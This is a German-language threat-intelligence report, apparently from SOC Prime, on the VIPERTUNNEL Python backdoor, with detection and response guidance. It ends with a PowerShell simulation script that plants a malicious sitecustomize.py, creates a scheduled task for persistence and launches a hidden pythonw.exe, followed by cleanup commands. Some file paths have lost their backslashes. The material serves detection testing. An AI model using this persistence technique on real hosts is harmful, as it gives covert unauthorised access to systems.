SOC Prime Bias: Hoch

14 Apr 2026 15:38 UTC

VIPERTUNNEL Python-Backdoor: Eine eingehende Analyse

Author Photo
SOC Prime Team linkedin icon Folgen
VIPERTUNNEL Python-Backdoor: Eine eingehende Analyse
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Der Bericht beschreibt die Analyse von VIPERTUNNEL, einem auf Python basierenden Backdoor, das durch eine geplante Aufgabe persistiert und eine bösartige sitecustomize.py verwendet, um eine verschleierte DLL zu laden. Die DLL entschlüsselt und führt eine mehrstufige Nutzlast aus, die einen SOCKS5-Proxy zu einem fest codierten C2-Server über Port 443 aufbaut. Die Infrastruktur ist mit UNC2165 und EvilCorp verknüpft und teilt Obfuskationstechniken mit dem ShadowCoil-Anmeldeinformationsdieb.

Untersuchung

Forscher untersuchten die Ausgabe von Autoruns, identifizierten die geplante Aufgabe 523135538 und verfolgten die Ausführung bis zu C:ProgramDatacp49spythonw.exe und ihrem sitecustomize.py-Modul. Die Rückwärtserstellung von b5yogiiy3c.dll enthüllte schichtweise Obfuskation, Entschlüsselungsroutinen und eine Endstufe, die einen SOCKS5-Tunnel mit fest codierten Anmeldeinformationen erstellt. Infrastrukturanalysen verbanden mehrere Domains und IPs mit der Kampagne und hoben den Einsatz des Pyramid-C2-Frameworks hervor.

Eindämmung

Endpunkterkennung bereitstellen, die die Ausführung von pythonw.exe ohne Argumente, die Erstellung von geplanten Aufgaben mit numerischen Namen und die Anwesenheit von sitecustomize.py an unerwarteten Orten überwacht. Ausgangsverkehr zu bekannten C2-Domains und zu den Ports 443/8000 mit anomalen HTTP 401-Antworten blockieren. Strenge Anwendungskontrolle implementieren, um das Laden nicht autorisierter Python-Module zu verhindern.

Reaktion

Alarm bei der Erstellung der verdächtigen geplanten Aufgabe und der Ausführung von pythonw.exe ohne Skript. Betroffene Hosts isolieren, Speicherdumps sammeln und nach charakteristischen Klassennamen und fest codierten Anmeldeinformationen suchen. Die kompromittierten Anmeldeinformationen ungültig machen und die im Bericht identifizierte C2-Infrastruktur stören.

Angriffsablauf

Simulationsausführung

Voraussetzung: Der Telemetrie & Baseline Pre‑flight Check muss bestanden sein.

Begründung: Dieser Abschnitt erläutert die präzise Ausführung der Angreifertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs genau widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:

    Der Angreifer lässt zuerst eine bösartige sitecustomize.py im selben Verzeichnis wie pythonw.exe. Python importiert automatisch sitecustomize.py beim Start des Interpreters, was dem Angreifer ermöglicht, beliebigen Code auszuführen, ohne einen Skriptpfad in der Befehlszeile anzugeben. Durch Starten von pythonw.exe ohne Argumente, enthält das Prozessereignis zur Erstellung eine leere CommandLine Feld, das die Bedingungen der Sigma-Regel erfüllt. Die Nutzlast etabliert eine geplante Aufgabe zur Persistenz, indem der Interpreter beim Systemstart ausgeführt wird, um langfristig Zugriff zu gewährleisten.

  • Regressionstest-Skript:

    # -------------------------------------------------
    # Bösartige sitecustomize.py einrichten
    # -------------------------------------------------
    $payloadPath = 'C:ProgramDatacp49ssitecustomize.py'
    $exePath     = 'C:ProgramDatacp49spythonw.exe'
    
    # Sicherstellen, dass der Zielordner existiert
    New-Item -ItemType Directory -Path (Split-Path $exePath) -Force | Out-Null
    
    # Eine harmlose Kopie von pythonw.exe für den Test bereitstellen (falls nicht bereits vorhanden)
    # In einem realen Red-Team-Szenario wäre dies der legitime Interpreter
    if (-Not (Test-Path $exePath)) {
        # Aus der systemweiten Python-Installation kopieren (bei Bedarf Pfad anpassen)
        Copy-Item 'C:Python39pythonw.exe' $exePath
    }
    
    # Bösartige sitecustomize.py erstellen (erstellt eine geplante Aufgabe als Machbarkeitsnachweis)
    @"
    import subprocess, sys
    # Erstellen einer geplanten Aufgabe, die pythonw.exe jede Minute ausführt (Persistenz)
    subprocess.run(['schtasks', '/Create', '/SC', 'MINUTE', '/MO', '1',
                '/TN', 'UpdateTask', '/TR', sys.executable])
    "@ | Set-Content -Path $payloadPath -Encoding UTF8
    
    # -------------------------------------------------
    # Die Erkennung auslösen (bösartige Ausführung)
    # -------------------------------------------------
    Write-Host '[+] Starte pythonw.exe mit leerer Befehlszeile...'
    Start-Process -FilePath $exePath -ArgumentList '' -WindowStyle Hidden
    
    # Eine kurze Wartezeit, damit die geplante Aufgabe erstellt wird (optional)
    Start-Sleep -Seconds 5
    
    Write-Host '[+] Nutzlast ausgeführt. Prüfen Sie Ihr SIEM auf die Warnung.'
    # -------------------------------------------------
    # Ende des Skripts
    # -------------------------------------------------
  • Aufräum-Befehle:

    # Entfernen der bösartigen sitecustomize.py
    Remove-Item -Path 'C:ProgramDatacp49ssitecustomize.py' -Force -ErrorAction SilentlyContinue
    
    # Löschen der vom Payload erstellten geplanten Aufgabe
    schtasks /Delete /TN UpdateTask /F
    
    # Optional die kopierte pythonw.exe entfernen (falls es eine Testkopie war)
    # Remove-Item -Path 'C:ProgramDatacp49spythonw.exe' -Force
    
    Write-Host '[+] Aufräumen abgeschlossen.'